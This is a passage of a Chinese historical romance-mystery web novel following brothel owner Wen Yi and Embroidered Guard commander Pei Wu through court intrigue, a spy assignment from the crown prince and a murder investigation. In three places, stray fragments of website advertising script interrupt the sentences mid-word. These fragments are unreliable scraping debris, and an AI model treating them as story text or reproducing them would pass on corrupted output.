更重要的,三日后便是太子殿下约定好将查清的消息告知她的日子。 为了借着殿下的力追查真凶,她已经等了三年。 如同娘亲一样困在这座金屋中,还能有多少个三年? “大人误会了,民女不敢有此意。” “只是大人深夜前来,莫不是案子有新进展?” 眼下最要紧的还是解了醉红楼的封禁。 温以揽了揽外袍站起身来,才惊觉他靠的太近,偏头悄然退开半步。 腰后的大手拦住她后退的脚步,隔着单薄的衣衫,他掌心的温度灼热地传到腰迹。 那双指节分明的手一按,温以不防仰着白皙的颈摔向他。 “温老板不过一介商人,本官查案,为何要与你说进展?” 她纤细的小臂横隔在二人中间,堪堪抵住摔进他怀中的势头。 重见他至今,温以还将裴误当成三年前那个温柔体贴的县令大人,可他可他微凉的指尖捻起她单薄的寝衣衣领,言语间挑眉调笑的样子几分轻慢。 温以错愕地抬头看向他。 肩上一凉,她惊诧地垂眸。肩侧的外衫被他以蛮力扯落大半,她雪白莹润的肩头全然暴露在朦胧的月光下。 风经由未合紧的窗台吹入,丝丝湿润的凉意刺得她瑟缩一瞬。 “是民女逾矩了。” 温以伸手去夺他指尖夹着的衣料,一来二去间,竟“嘶啦——”一声撕坏了外袍。 裴误松开五指,碎裂的半块衣料从他手中滑落。 “温老板的衣料珍贵,本官改日再相赔。” 半块衣料裹在她右肩侧,影影绰绰,倒不如全扔了自在。温以松手任由剩下的半块衣料从肩头滑落,团着圈落在另半块旁。 衣料落在他脚边,裴误忽地侧开了眼。 裴误今日到底是为何而来,经由这一遭,她算是看明白了。 左不过恨她当年狠心,要还她无情之报罢了。 故而裴误拽着她皓腕向床榻间走去时,温以那双古井般的深眸也并无多少波澜。 恨她原是应该的。 她抬眸去看身侧人的脸,深眉高目,薄唇红润,便是那枚眼下的朱色小痣都同记忆中别无二致。 今时今日,温以自问她的心。是他,其实并不勉强。 在床榻边坐下,她抬目看向面前的男人。 肩上落下一只大手,下一秒,男人却别着她的肩,在她身侧坐下。 腰间顿疼处沾上冰凉滑腻的膏体,裴误两指沾着浑白的膏药,打着圈揉在她腰间的青紫上。 温以天生皮肤白皙,少时跟着于师傅学武时,便是在烈日下练了几载的功夫,也不见变黑多少。青紫色的淤血在她腰间显得格外触目惊心。 “呲——” 裴误的指尖的力道并不重,温以却忍不住轻呼一声,垂眸间,一滴清泪悄然落在枕间。 他并没有变,变的从来是她。 身后的男人听见那声隐忍的痛呼,手上的动作顿了片刻,目光顿在枕被间的泪痕上一暗,悄然放轻了指尖的动作。 比起恨她,这样的裴误更让温以感到愧疚。 二人都没有再说话,夜风吹皱窗幔,外头遥遥传来打更人的声音。 不知是否是这膏药起了作用,温以只觉得方才还钝疼的地方泛着一阵温热,她半趴在床榻上,竟不知不觉地坠入梦境之中。 她枕着胳膊趴在枕上,面若芙蕖,比之白日娇媚精明的模样,多了些不设防的柔软。额角的伤疤看上去有些年月了,想来二人分别没多久,便跟在她额侧了。 几缕发丝不安分地垂落坐在她小巧的鼻尖,扰得她不耐地轻蹙了眉头。 裴误合上药瓶看去,见到的便是她在睡梦间烦扰皱眉的模样。 简单柔软,让他想起在江南初见时的她。 他眸色温柔地无声轻笑一瞬,拉过一旁的枕被替温以盖好,又伸手小心地挽开她额前的碎发。 “睡吧。” “今夜别烦忧。” 抽身之际,裴误才发现他腰间的玉佩被她压在身下,动弹不得。 无奈地坐回原处,他伸手从她绣鞋的花蕊处探出三根银针,侧目掷向窗外。 窗下几声破风之声,几名蒙着面的黑衣死士对视一眼,消失在夜色当中。 —— 晨钟敲响的第一声,温以从梦中惊醒,睁开眼,面前熟悉的脸却让她怔在原处。 发上是他修长的指节,裴误的沉稳的睡颜仅隔着一步之距。 他眼下淡淡的乌青透出些疲惫之色。温以忽然很想知道他这三年是如何过的。 如何从一介江南县官,摇身变成了成国公府的世子;又是如何从一介读书郎,变成如今世人眼中杀人如麻的锦衣卫指挥使。 总归并不如她所见那般轻松吧? 还未从昨日的情形中回过神来,裴误鸦 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 黑的长睫一颤,她下意识紧闭上双眼,装作还未醒来的样子。 “咚咚——” 窗台处传来两声沉钝的响声,裴误睁开眼时先是同她一般愣了一瞬,接着轻抽出压在她腰侧的玉佩,揉着额走到窗侧。 温以悄悄睁开一线视线。 窗外似乎有人跟他说了什么,模模糊糊间,温以只听见几次出现了“su”的字节。 裴误闻言,低声暗骂了一句什么,眉宇之间似乎很是焦急的模样。他随意整了整衣襟,视线追着床榻而来。 温以一惊,屏息闭上了双眼。 几息之后再睁眼,屋内已是空无一人。 窗幔浮动,除了发上残余的触感,一切恍如一场荒诞的梦。 “主子,您醒了吗?” 屋外是蕊秋的声音,温以撑着枕被坐起身,目光落在床下撕裂做两半的外衫,起身将它们塞入了木箱中。 “进来吧。” 她话方落,蕊秋便端着梳洗的物件进了房门,神色担忧地在她身侧打转,抿唇道: “昨夜的消息还是没能传出去,那位似乎有些着急了。” 梳洗的白巾布浸在水中,水声清亮,蕊秋将拧得半干的布巾递给她,还是忍不住问道: “昨日好像听见主子屋中有动静,您无事吧?” 温以发上的簪子松动,眼见就要散落,她伸手取下簪子,利落地重挽了一个相同的发髻。 “无事,昨日夜里风大,我忘了关窗罢了。” 风来、风走,了然无痕。 “主子怎的不取下发簪再睡,这样硌得多难受。” 蕊秋点点头,她对温以的话向来绝无怀疑,转头整理起妆台。 窗外一阵嘈杂的人声,温以走到窗前,只能瞧见街外热闹的一角。她转头随口问起: “蕊秋,今日是京城中哪家有喜事?” 蕊秋放下手中的钗子,笑道: “今日是苏贵妃回复省亲的日子,她近来圣眷正浓,又是丞相府长女,出身尊贵,仪杖做的自然足。” 苏? 温以耳边闪过日前听到的关于裴误的件件传言,其中牵扯最多的女子,便是丞相府的苏姑娘了。 想起周肆状似说漏嘴,却特地跑到她窗边与她闲聊,透露出“作画”内情的样子,她眸中闪过一丝怀念。 在江南的那段时光,如今想来,当真是娘亲拼尽所有为她争来的时光了。 看来她如今已是成了贵妃娘娘。 “宫墙深深,平日要见贵妃娘娘一面可不容易。” 蕊秋探身看着窗外热闹的街。平日车水马龙的地方,如今却被一连串华美精致的马车挤得动弹不得。 她讶异地探头瞧去,细细解释道: “苏贵妃现下得势,机会难得,今日那些个‘旧识’自然要排着队赶去见上一面。” 温以抬眸追随街上那些个华美的马车,忍不住出神地想: 若说旧相识,裴误与那位苏姑娘青梅竹马长成,才真真算得上一句旧相识吧。 那裴误呢? 他今日离开时神色那般焦急,也是为了赶去见她吗? 20. 两般执念 醉红楼外车马声喧嚣,城外归元寺脚下,虽脚步杂沓,却一片冷寂。 身着靛青短打的私卫拎着水桶,从远隔丛木的溪流处挑来溪水处理最后零星的火苗。整座颇具有规格的宅子处处散发着焦味,一片狼藉混乱。 裴误策马至门前,停住疾驰的马蹄,翻身下马。 他站在宅子大门口,一言未发。 进出的私卫们眼观鼻鼻观心,脚下更加谨慎几分。生怕撞到这位活阎王的心火上,被架在上头烤个透。 “阿石,你去清算折损。”裴误揉着眉心道。 他昨夜几乎未眠,直到天色泛白才堪堪合眼浅眠,一醒来便听闻归元寺下的宅子昨夜起了大火。 此刻也不知是因为昨夜睡得不好,还是因为眼前的折损,眉心一跳一跳地发疼。 阿石站在他身后几步,知道自家主子有多重视归元寺下的宅子,此时心情定然如在谷底,闻言便点头去做。 “咈哧—” 裴误身后的马儿踢着前蹄,发出粗重的气声。 他侧身抚上马鬃,低声叹道: “玄影,你也觉得他们太过分了吧?” 马儿似应答般接续着粗重的气声。裴误的坐骑体格健壮,细颈强健,浅黑的毛色亮滑,虽脾气暴烈,跑起来却似一道玄色的影子,千里绝群。 裴误平日一向亲自喂养玄影,今日事出紧急,玄影还未吃完草料便疾驰到此,看起来似乎也起了些性子。 “大人,内室坚实,东西并无损露。不过库房的书画折损了几幅,除了几幅前朝大师的遗作烧毁,还有几幅国公爷年轻时所作的,许是烧成了灰烬,只找到了画轴。” 阿石做事一向利落,很快清点完折损,一五一十报与裴误。 裴误眸中闪过一道寒光,蹙着的深眉反舒展开来。 这是他意料之中,有些却也在他意料之外。 这间京郊的宅子是他用作置放财物的,虽则知道的人不多,但他也未刻意遮掩。 朝中那些视他做眼中钉的老头但凡施些手段,都能够查到此处。 这些年身在锦衣卫,裴误虽做事不留情面,送上门的钱财却也来者不拒。这点圣上也知道,甚至这间归元寺脚下的宅子还是圣上赐给他的。 财色钱权,总要有所贪念,圣上才能放心地用他。 裴误抬步跨过半是焦黑的门槛,推门进了库房。 房中果然折损颇多。 “若没记错,苏丞相日前在朝堂上与宣平侯起了争执?” 裴误蹲下身,弗开木轴上的炭灰。他带着薄茧的指尖沿着烈火灼烧出的裂痕划到画轴一端,侧首挑眉。 阿石点头,明白宣平侯这回是动错地方了。 大人能对往常一来一回的挑衅试探忍下,不是因为怕了,而是因为那都是小打小闹,大人根本不放在心上罢了。 裴误满意地捡起画轴,示意阿石带回去,便拂袖大步出了宅子。 “大人,您不去内室看看吗?” 阿石知道他今日晨间听闻消息后勃然大怒,极大的一部分是便是因为内室的金银。 从江南回来后,大人便格外在乎金银。且旁人递上门的钱财,他不要银票,只要实打实的金银。甚至为了放置这些钱财,特地打造了这件宅中巨大的暗间内室。 “无需。” 裴误飞身上马,竹林间的风敲打在叶片间发出簌簌的声响,他垂眸笑道: “阿石你这下知道本官为何设下如此规矩了吧?” 不要银票、不要人情、只要金银。 “因为金子不会骗人。” 他的声音清浅,一半散落在风中,阿石抬首看去,只看见他策马朝山上而去的背影。 “大人,咱们不回府吗?” 阿石着急地上马追赶,裴误放慢了马步,闻言回头道: “到了此处,怎能不去一趟归元寺?” 他丢下一句话,便策马离开。阿石跟在后头,不由地叹气。 国公夫人喜欢归元寺的泉水,每季都会差人来归元寺求水。 大人起初以为夫人是喜爱这里泉水煎茶的味道,每季都会亲自拉着竹筒来求,六年之前从无断绝。 后来才知,这归元寺的泉水有个秘而不宣的传闻,道是喝了便能求子,且能求得男丁。 大人后来再也没来求过水。倒是从江南回来后,每次到这宅子下来,都会冷着脸去山上求一壶,差人送回国公府。 可今日却是笑着前去,好似心情不差。 也不知大人这般变化是好是坏。 —— 归元寺建在山腰,此地乃是皇家寺庙,香火鼎盛。 山路盘转,只能步行而上,裴误卸了马上水囊,很快便到了寺门口。 阿石喘着粗气跟在他身后一大截,刚要咬牙追上,就听到裴误侧首道: “你在此等我便可。” 裴误并不打算多待,归元寺的泉水在后山,他与出大殿的人群擦肩而过,径直绕进了后山。 山泉潺潺,临近午时,盛阳穿过林荫的缝隙照在泉水上,泛起粼粼金波。 鸟鸣声清冷,山间即便是午间亦是风寒,泉背的大石上远远坐着一个打坐的老和尚。 那和尚一身袈裟满是补丁,脚下原本丢着块布包,遥遥看见裴误的身影,便伸脚一踢,将那布包踢入了草丛间。 “你小子是越来越不规矩了。” 和尚合手叹息,横眉道: “如今连求也不求,便敢当着佛祖的面来偷归元寺的山泉了。” 裴误从怀中掏出一包点心,把手中拎着的小水囊一并扔给他,拧着大水囊的开口,头也不回道: “便知道您是在这,何必多此一举。” “老衲是让你去求佛祖,并非求老衲!” 和尚佯装捶胸顿足的样子,手却老实地拆着油纸包,看见一包整整齐齐的豌豆黄,倒是真捶胸顿足地质问起来: “裴小子可真是越来越敷衍了,今日是干脆连烧鸡也不带了。” 裴误灌着山泉水,忍住嘴角一抽的冲动,平静道: “烧鸡您不是有吗,我还道元智师傅是吃腻了烧鸡,才要把东西踢到草丛里。” 元智和尚一滞,哼哼着反驳道:“你懂什么,老衲也不是什么人的东西都拿。” 刚解开酒囊,一股醇厚的酒香瞬间萦绕鼻尖,和尚小口抿着酒酿,看着裴误灌泉水的背影叹道。 “还算你小子有良心,往后这些日子你怕是没多少机会来这了,今日且多装些吧。” 裴误动作一顿,很快灌好泉水起身,手上的檀木佛珠沾了泉水,沾湿了一小块衣袖。 他收起方才轻松的眸色,又是一副冰霜包裹的样子,冷声 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 道: “不必,我还会照例来。” 语罢,便转身快步离开。 元智和尚坐在大石上,看着他渐远的背影摇头笑道: “这红尘中的人呐。” 视线不经意略到草丛处的布包上,那布料虽颜色灰普,细看却能看出织料绵密,是上乘的好料子。 裴误只闻到了烧鸡的香味,却没看出来,布包中还包着一沓银票。 元智和尚捏着一块豌豆黄放入口中,守着潺潺的泉水自语。 “有人碌碌求了一生也未曾明白什么才是最该珍重的。” “且看何日醒悟吧。” 裴误拿着山泉满意而归,这厢在殿外与他擦肩而过的男子却自叹没有他的运道。 温以打帘而入的时候,看见的便是他叹息的背影。 “李叔。” 男子放下手中的木盒,转身看到一身暗色披风的温以,便慈爱地笑了。 “阿以越发沉稳了,李叔一年未见你,今日一见周身已都是大姑娘的气质了。” 李长丰被太子殿下派去南疆,温以还以为至少这两年间都难见他一面,此番他回到京城,完全是意外之喜。 “李叔方才叹气,可是在南疆不顺?” 当年从江南初到京城,李长丰便如师如父般为她上下安排,引她去见太子殿下。温以明知不该问出这般涉及任务的问题,却忍不住关怀。 “南疆一切皆好,阿以不必挂怀。” 温以知道李叔是怕她被太子殿下责怪,叹道: “当年若不是李叔,我如何有替母报仇的机会。这般担忧关怀都不能做到,阿以成什么人了?” 李长丰摆手道: “当年若不是你娘提点我,我早死在暗卫筛选中,哪有今日。” “去江南找你,本就是我该做的。” 知道温以此时出来得不易,他抬手长话短说。 “阿以,太子殿下也知道近日醉红楼的状况,这段时日你不必多插手命案的事,静观其变即可。” 温以着急求知关于刺杀娘亲凶手的消息,可她也知道近日办事不利,没有提的资格,抿唇半晌,只得点了点头应下。 看出她踌躇半晌是想问什么,李长丰有些泄气地道: “事情本有些眉目了,却被旁人从中截去了消息。太子殿下也为此震怒不已。” “阿以,再等等。” 温以知道此事牵扯众多,急不得。这三载的时光都等过来了,也没有什么等不得的。 垂眸间,方才李长丰拿在手中的小木盒被推到她眼前。 “殿下听闻你近来多梦,特地让太医院为你制的。” 盒中是一颗小巧的丹丸,温以心间的暖意还未弥漫开,便听见李长丰接着道: “殿下还有一吩咐,让你盯着裴误,必要时接近他求得消息。” 温以知道他话中的“接近”指的是什么,错愕地抬头。 “李叔……” 李长丰眼中闪过一丝不忍,看出她眸中错愕痛楚,怕她无法狠心,还是咬牙道: “裴误两年前便于苏丞相家的二小姐定下了婚约,婚期就在明年夏日。” “阿以,有些不能求也不该求的,还是早些放下的好。” 有些念想,早在三年前踏进醉红楼时,便应该一刀断绝,丝缕不留才是。 21. 三昧火 午时方过,日头正是盛的时候,临街的摊贩都收了行当,到那屋檐下避暑气。 空旷的道中,忽而有人打马而过。 玄黑色的影子一闪而过,路旁人只来得及看清马上男子一道挺如青竹的身影。 “大人,您还是慢些吧?” 阿石摸着虚汗,强撑着赶上,硬着头皮劝道。 “明日朝堂上又该有参您闹市纵马的折子了。” 马上的男人一身玄衣,闻言哼出声嗤笑,漫不经心地问道: “这里可是行道?” “是。” 阿石如实点了点头。 “那你面前可见到有行人?” 眼前只有烈阳晒着的石砖,阿石没法子睁眼说瞎话,只能又应了一声。 “既是行道,又无行人,我的玄影如何跑不得?” 裴误勾唇带着嘲意一笑,烈阳下白皙俊朗的笑容轻而易举地晃了人眼,眼尾那颗动人心魂的红痣显得愈发赤红显眼。 他在烈日下从不喜带帷帽,肤色从进卫署的那一日起却几乎不见晒黑。也因这过于俊俏的脸庞受过不少流言中伤,只不过这些话,后来却都成了诸如青面阎王的骂名。 “话虽如此,可……” 阿石也不知道该如何劝他。 树敌太多总归不好。 可惜大人不是不明白,而是压根就不在乎。 “行了阿石,每日参本官的折子,还差这一本吗?” 裴误抬手轻叹一声,似是已经被扰光了兴致,了无兴致地放松了手中缰绳。 玄影刨了刨后蹄,还未收慢脚步,就被道中忽然窜出的人扰得嘶鸣一声。 险些踏下的前蹄在空中悬置一瞬,又稳稳偏开三分落下,马蹄下分明是个眼生的小厮。 “扫兴的人还真多。” 裴误的目光从地上的小厮身上轻若无物地略过,附身抚着玄影的马鬃。 马蹄下的小厮倒是有两份胆识,并未被方才的惊险吓到,反而是恭敬地俯首道: “裴大人,我家相爷请您到府上一聚。” “哦?” 本还抚着马鬃的男人玩味地挑眉,忽而问起阿石。 “阿石,元日才过不久,今日又是什么节期吗?” 那小厮闻言脸色一变,艰涩地拱手答道: “今日贵妃娘娘回府省亲,相爷是想叫一家人聚聚。” 上首的男人慢条斯理的地把玩着腰侧那串佛珠,对他的话置若未闻。 烈日晒的石板发烫,上位者阴冷压抑的气息却让马前那小厮吓出一身冷汗,想起出府前主子的吩咐,才硬撑着挺直了发颤的身子。 良久,佛珠转了个圈。 指尖撵到一处突兀的绳结,裴误才似回神般应道: “苏相来邀,本官自然得赏脸。” 缰绳轻拽,玄影绕开两步,从那小厮身侧贴行而过。 擦肩的一瞬,裴误附手去取挂在一侧的水囊,冰凉的目光撇过地上的人。 “告诉你的主子,自作聪明的人,才最是愚蠢。” 两骑绝尘而去,空留街中央的小厮瘫坐在地,仿佛被毒蛇缠绕颈脖又猛地松开。 空吓出一身虚汗,久久忘不了刚才那刻骨冰寒的目光。 ——— “快,快告诉相爷,裴大人来了!” 门上的小子被上了年纪的门房管事一拍肩,哆嗦着醒了瞌睡,直朝内门跑去。 还未跑出几步,就被一只擦着耳际钉到柱上的铁钉吓住,愣愣地回头。 “裴…裴大人……” 裴误利落地翻身下马,勾唇问道: “既是丞相相邀,想必无需通报了吧?” “是是!您说的是。” 门房管事先一步回过神来,附和着弓着腰去接裴误手上的缰绳。 不料玄影忽然嘶鸣一声,将人吓出几步外。 “不必,让阿石来便好。” 裴误此刻笑得俊朗近人,若不是他未进门就给门柱上“钉”下一颗铁钉,在场人必定将他错认成儒雅的翰林院编修。 他大步流星地进了府门,经过门柱时,随手拔下了那枚铁钉,扔给了身后的阿石。 “莫忘了玄影的鞍钉。” 阿石知道主子这是要做什么,心里更放心不下地叹了口气。 方才那小厮把贵妃娘娘的意思说的如此清楚,一看便不可能是苏丞相那老狐狸的亲信。 相府里头拢共就那么几个主子,不是贵妃娘娘,也不是苏丞相,更不会是常年不问世事的丞相夫人,谁人指示的,一看便知。 只是玄影脾气怪,阿石此刻脱不开身,也心知劝不动裴误,只能由着他去。 至于裴误,既为相府世交家的大公子,再加上二小姐未来夫婿的身份,在相府自然是一路畅通,无人敢阻挡。 熟稔地转过两道垂花门,他便大喇喇走到了前厅。 相府的人刚刚用完午膳,见到他打帘而入,神情各异。 苏丞相是何等的老狐狸,只是眼中闪过一次诧异,便笑着招呼他坐下。 “贤侄可用过午膳了?” “来来,坐下陪老夫喝一杯何如?” 裴误冷眼扫过桌上的残羹冷炙,淡淡拒了一声。 “本官不喝酒。” “不过茶却是要喝一杯。” 桌上的苏家人闻言纷纷松了口气,苏夫人捻着佛珠,轻轻拍了拍身边大女儿的手。当年是他们苏家毁约,以为裴误失了圣心,转头把令渝送到了宫里。 就算后来……令窈也不曾得了裴误上心。 好在裴误这些年虽然记恨苏家,却总还是愿意给一个面子情的。 可惜他们都想错了。 裴误此举并非示好,只是有事要与苏丞相商议,自然需要不止一杯茶的时间。 苏丞相不至于看不出这一点,沉吟片刻,放下酒盏道: “贤侄,请。” “勉之哥哥!” 女子这一声唤的羞怯又娇弱,便是再铁石心肠的人听了,想必都会被绊住一二。 裴误起身的背影一顿,苏夫人与苏贵妃却脸色难看起来。 “勉之”是裴误的字,不过这字约莫是被他厌烦的,总之这些年来他从不肯让身边人这样唤他。坐在角落安安静静的少女忽然出声,便是这一句谁也没有预料到的称呼。 “勉之哥哥,”兴许是这一顿,让苏令窈自觉得了回应,声音更柔上三分,“我今日做了豌豆黄,若不嫌弃,我一会儿便送一份到父亲的书房可好?” “豌豆黄?” 裴误想不起自己大概有多久没听起过这道点心了。 只记得幼时他很是喜爱,可惜母亲说这是市井中的卑贱之物,不允此物出现在国公府中,久而久之,他也很少吃了。 苏令窈是如何知道此事的? 他挑眉回头,玩味地望向端坐的少女。 苏令窈被他毫不掩饰的目光看得脸热,心里不由得意两分,转眸看见长姐僵硬难看的脸色,心里不由嗤鼻。 长姐就是这样懦弱无用,否则这样完美强大的男人也不会轮到自己了。 “是,勉之哥哥,正是豌豆黄。” 像是怕裴误听不清一般,她规规矩矩地重复了一遍。下一刻,却被男人冰冷的声音钉在原处,恍如全身裹着冰霜。 “苏二小姐聪慧,知道似乎不少?” “只希望不是自作聪明才好。” 裴误丢下一句意味不明的话,便起身离开了。 毕竟他此行的目的并非这些小事。 宣平侯这次动了不该动的,他顾念大局不予理会,而他未来的“岳丈大人”与宣平侯素有仇怨,此番看不过佳婿受人欺负,代为出气。 大概是再寻常不过的。 苏丞相可不是无利早起的人,一番谈判后,直到日暮时裴误才从丞相府告辞。 才出了府邸,夕阳如血,恍惚方才饭桌间苏贵妃发间那支鸽子血宝石簪。 血红这样刚烈的颜色,用在苏令渝身上并不合宜,本是剑下的残血也成了腕间的血珠。 裴误自然而然地想 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 起了那张柔媚动人的脸。 世人皆道他冷酷无情,铁石心肠,却不知晓她那张娇颜下藏着的,才是真正的一颗铁石心。 那支鸽子血的宝石簪,由她来戴约莫很和衬。 “阿石,仵作那边可有消息?” 男人忽地调转了马头。 “方才传了消息,王大人身上只有一处致死伤,正是胸口那道刀伤。牡丹……” “嗯。” 裴误出声打断了阿石的话:“到了再一并说吧。” 阿石才从胸口的信折中抬头,才发觉醉红楼就在前街不远处。 “主子?” 裴误没有答他,翻身下马,熟稔地上了二楼。 —— 醉红楼。 日暮时的日光昏暗,房内没有点灯,温以一人独坐在妆台前。 她头上发髻已经散了大半,昨日用的那支钗子放在妆台前的木盒中,正被主人莹白的指尖留恋地摩挲着。摆在钗盒边的是另一只朴素许多的小木盒。 木盒紧闭着,看不清盒子里是何物。 ——这一步,究竟是不是错了? 温以心中纠结,她欠裴误的已经够多了,要是应了李叔传来的任务,今后他只会更恨她才是。 可若是忤逆主子的意思,她这些年为了杀母之仇蛰伏痛苦,到头来岂不是白费? 镜中的女子一双桃花眼中蕴着复杂的情绪,琼鼻樱唇,不施粉黛的时候少了柔媚,反倒更显得清丽动人。 的确有迷惑人心的资本。 心底有个声音引着她: 不是想与他亲近,想重新见他为你笑,为你担忧吗? 借着任务名正言顺地夺回他,只要不让他发现私下传消息给主子的事情,一切岂不是双赢? 温以抚在钗上的指尖轻抬起,一寸寸挪到木盒的铜扣上,她指尖薄茧擦过木料,忽然将她从荒唐的念头中惊醒。 不。 裴误是怎样的人,她最清楚。这世上他唯独不能原谅的,不是谎言,而是背叛。 她若是真的做了,便是彻底将他推到了此生都无法靠近的地方。 “大人?” 温以从窗下喧闹的人声中分辨出细小的声音,马蹄声忽然令她想起了早间蕊秋的话。 他是去看哪位苏姑娘了呢?竟待到日暮时才归家吗? 心底仿佛有密密麻麻的长蚁啃食,狠心紧闭上窗门,那难缠的长蚁却又像三昧火般滚烫地灼烧着心脏。 她僵直的指尖拨开了小木盒上的铜扣,迟疑了片刻,还是克制住了心中不断引诱她的心魔。 “大人!” 门外传来蕊秋的惊叫声,木门被人蛮力推开,门外的男人对上她错愕慌乱的眼神,勾起一抹笑,视线意味不明地落在她妆台上没来得及和上的钗盒上。 “主子她已睡下……了。” 匆匆赶至的蕊秋心知说了显然的谎话,见情形不对,只得默默退下。 “这个时辰…裴大人来民女这里所为何事?” 她又忘了他不爱听她如此自称,可眼下温以心魂未定,背在身后的手还捂在将将合上的小木盒上,心有余悸地松开。 理智回笼,她才发现自己方才那话里的暧昧。 这里是青楼,日暮至此,能所为何事? 他抓住她话里差错,约莫又要羞辱戏弄她一番。 意外的是,裴误的表情并无波澜,径直走进房内,熟练地在小桌边从容坐下。 男人身上那身略显皱褶的衣衫提醒着她昨晚两人的暧昧,身上那股若隐若现的酒味瞒不过温以的鼻子,令她极微弱地皱了眉。 他从前是不饮酒的。 关子卖够了,裴误的目光落在桌上那盘凉透了的豌豆黄上,专注地勾指拿起一块送入口中。 “自然是来告诉你的案情的。” “温老板不是说要帮忙破案?” 他话里藏着的意思不外乎默许了温以跟锦衣卫共享线索,去查牡丹的案子。 温以一喜,顺手将小木盒藏到桌下,朝小桌走去。 22. 三杯两盏 熟悉的豌豆香在舌尖融化。 裴误本来以为自己多年未曾尝过,早就忘了这豌豆黄的味道,可今日一尝,才发现记忆是何等狡猾的东西。 只一口,便能勾起味蕾数以万计的感受与回忆。 他沉默地坐在桌边,指尖在桌上有一搭没一搭地轻敲,目光出神地盯着面前那盘豌豆黄,丝毫没有注意到女子走近的身影。 “裴大人?” 温以忍不住小声唤他,裴误却恍若未闻。 她目光在那盘豌豆黄和男子平静无波的面上略过,会错他的意思,只以为他此举是故意而为。 “大人。” 温以沉了口气,咬牙捻起一块糕点,送到男人唇边。 “如此,可以说了吧?” 她骤然靠近,指尖点心豌豆清淡的香气混杂着女儿家的馨香侵袭着神经,裴误难得露出这种无防备的表情,愣怔了一瞬。 不过也仅是一瞬。 他唇角勾起一抹了然的笑,抬头扼住她欲收回的手腕,就着这动作咬了一口她手中的糕点。 “本官倒没料到温老板如此客气,自然是……可以说。” 他只咬下半块糕点,温以放也不是,只得继续拿着糕点。 纤细的皓腕被握过的地方撩起小片隐隐的刺烫,灼得她耳根发热,本能的反应过分青涩,让她有些不适应。 裴误饶有兴味地拖着下颌看了她片刻,直到从她波澜不动的眼底看到片刻急躁,才满意地开口: “牡丹指甲里藏着的确是一根黑发。尸体只有胸口一处致命伤,刀口利落,若非经过特殊的训练,不是一般女子能做到的。” “且牡丹脖子上确有两处勒痕,一处是梁上的绫缎所致,另一处才是致命伤…也就是说……” “人,不是牡丹杀的。” 他能信这点,温以错愕之余松了口气。 不过她很快明白过来裴误的话远不止这一句。 如果仅仅能如他所说这样下论断,裴误那时就不会提出要她协助破案,今日更不会特地走一趟醉红楼。 温以轻蹙着眉头看向木桌边的男人,等着他的下文。 察觉到她平静等待的目光,裴误轻勾唇角,不紧不慢道: “锦衣卫办案,也讲究证据。” 这些证据件件指向所谓的“密室”内还有第三人存在,可不管是哪一件,也只能证明牡丹并非自杀。 关于王大人的死因,最大的嫌犯还是他无法设防的牡丹。 “圣上命本官查的,是王尚书的死因。” 见温以大致明白过来,他指尖夺过她手中那半块糕点,适时补充。 言下之意是,牡丹是谁杀的,锦衣卫并不在乎。 但若是锦衣卫坚持认为人是牡丹杀的,必然怀疑她这醉红楼里的姑娘是否来路单纯。 男人带着薄茧的指尖擦过她柔软的指腹,温以心间冰凉,忍不住颤栗一瞬。 在这看似繁华簇拥的京城呆了三年,她还是未能完全地习惯皇城的无情。 对于龙椅之上那位,牡丹不过是一个卑贱的妓子,对她而言,那却是一个活生生的人。 一个才不过二八,花骨朵儿般明媚生动的姑娘。 她下意识的颤栗让裴误眸底一暗,捻了捻指尖残留的点心粉末,没有多言。 “若是有证据呢?” 女子的声音不大,却带着一股藤曼般的韧劲,拽人心神。 “裴大人,若我能寻得出证据证明王大人不是牡丹所杀,是否数罪并罚,也能严惩害了牡丹的贼人?” 裴误侧眸看她,天色已经彻底暗下来,看不清温以的神色,只能模糊借着窗外的光勾勒出她窈窕的身姿。 “裴大人?” 温以见他愣神,规矩地轻声唤道。 “点灯。” “啊?” “天色暗了,本官让你点灯。” 他语气生硬,话题也转的突兀,温以怀疑了一瞬,才依言照做。 她寻了火折子点亮了桌上的烛台,才转身去点灯。火光亮起的一瞬间,暖色的烛火瞬间填满整个屋子。 点亮了妆台边的烛火,温以放下火折子,目光无意间瞥过桌底的小木盒。 愣神之际,她听见身后男人低沉的声音缓缓道: “凡是见了光的事,锦衣卫也无法全然撇开不管。” 他这话是提点,也是表态。 温以就知道,这男人即便外表千般万般地变,骨子里仍是当年江南小城那位执意追凶的县令爷。 烛花在窗框边跳了一瞬,光影藏住了温以勾起的唇畔若隐若现的酒窝。 她几乎是在一个明暗间再次动摇了起来。心中的天平不自觉倾斜。 既然曾经已经对不住他,那就索性继续做个坏女子。 总之她早便看清楚了,她从来不愿放开他。 “多谢裴大人提点。” 窗台边的女子卸下了耳上累赘的环饰,抬眼在镜中捕准了桌边青竹般的身影。 “作为答谢,民女这儿有不少好酒,裴大人可愿赏脸品鉴三杯两盏?” ——— 酒自然是没有喝成。 裴误当即脸色一沉,便拂袖而去。 留下温以一人立在窗前,被入夜的凉风乍然吹醒,才发现自己方才都做了些什么鬼迷心窍的举动。 “主子?” 蕊秋的声音把她从思绪中唤醒。 温以从回忆中抽身,顺着蕊秋的目光看去,视线落在妆台上空荡荡的小木盒上。 “主子,这木盒看着眼生,难道……” 蕊秋神情狡黠地顿了顿。 “难道是昨日裴大人送的首饰盒子?” 温以被她荒诞的猜测逗得莞尔,没多解释,顺手掩上了盒子。 主子给的东西果然从来不是凡品,昨日她原以为会难以入眠,没想到却睡得尤其安稳。 这样的知遇之恩也不知此生能否偿清。 她想到此处,不由叹了口气。 温以本是明艳飒爽的长相,此刻镜中人上了清淡的红妆,黛眉轻蹙,这一叹气,倒有些弱柳扶风的味道。 蕊秋满意地看了眼镜中,片刻后又遗憾道: “虽也是美的,可主子还是适合华贵些的颜色,可惜……” “温妈妈,外头马车已经等着啦!” 门外头那龟公不敢动门,扯着嗓子叫唤。 温以闻言起身,又被蕊秋急急叫住。 “主子!”蕊秋抬手又取下她低低簪着的一支金簪子,“好了。” 一起身,温以才发觉自己今日穿的是一身未嫁姑娘的素简襦裙。许多年未穿过这样的裙子,竟有些不习惯。 “祝主子今日一切顺利,定要抓到那害了牡丹姐姐的歹人。” 蕊秋的话还带着满满稚气,温以推门笑问道: 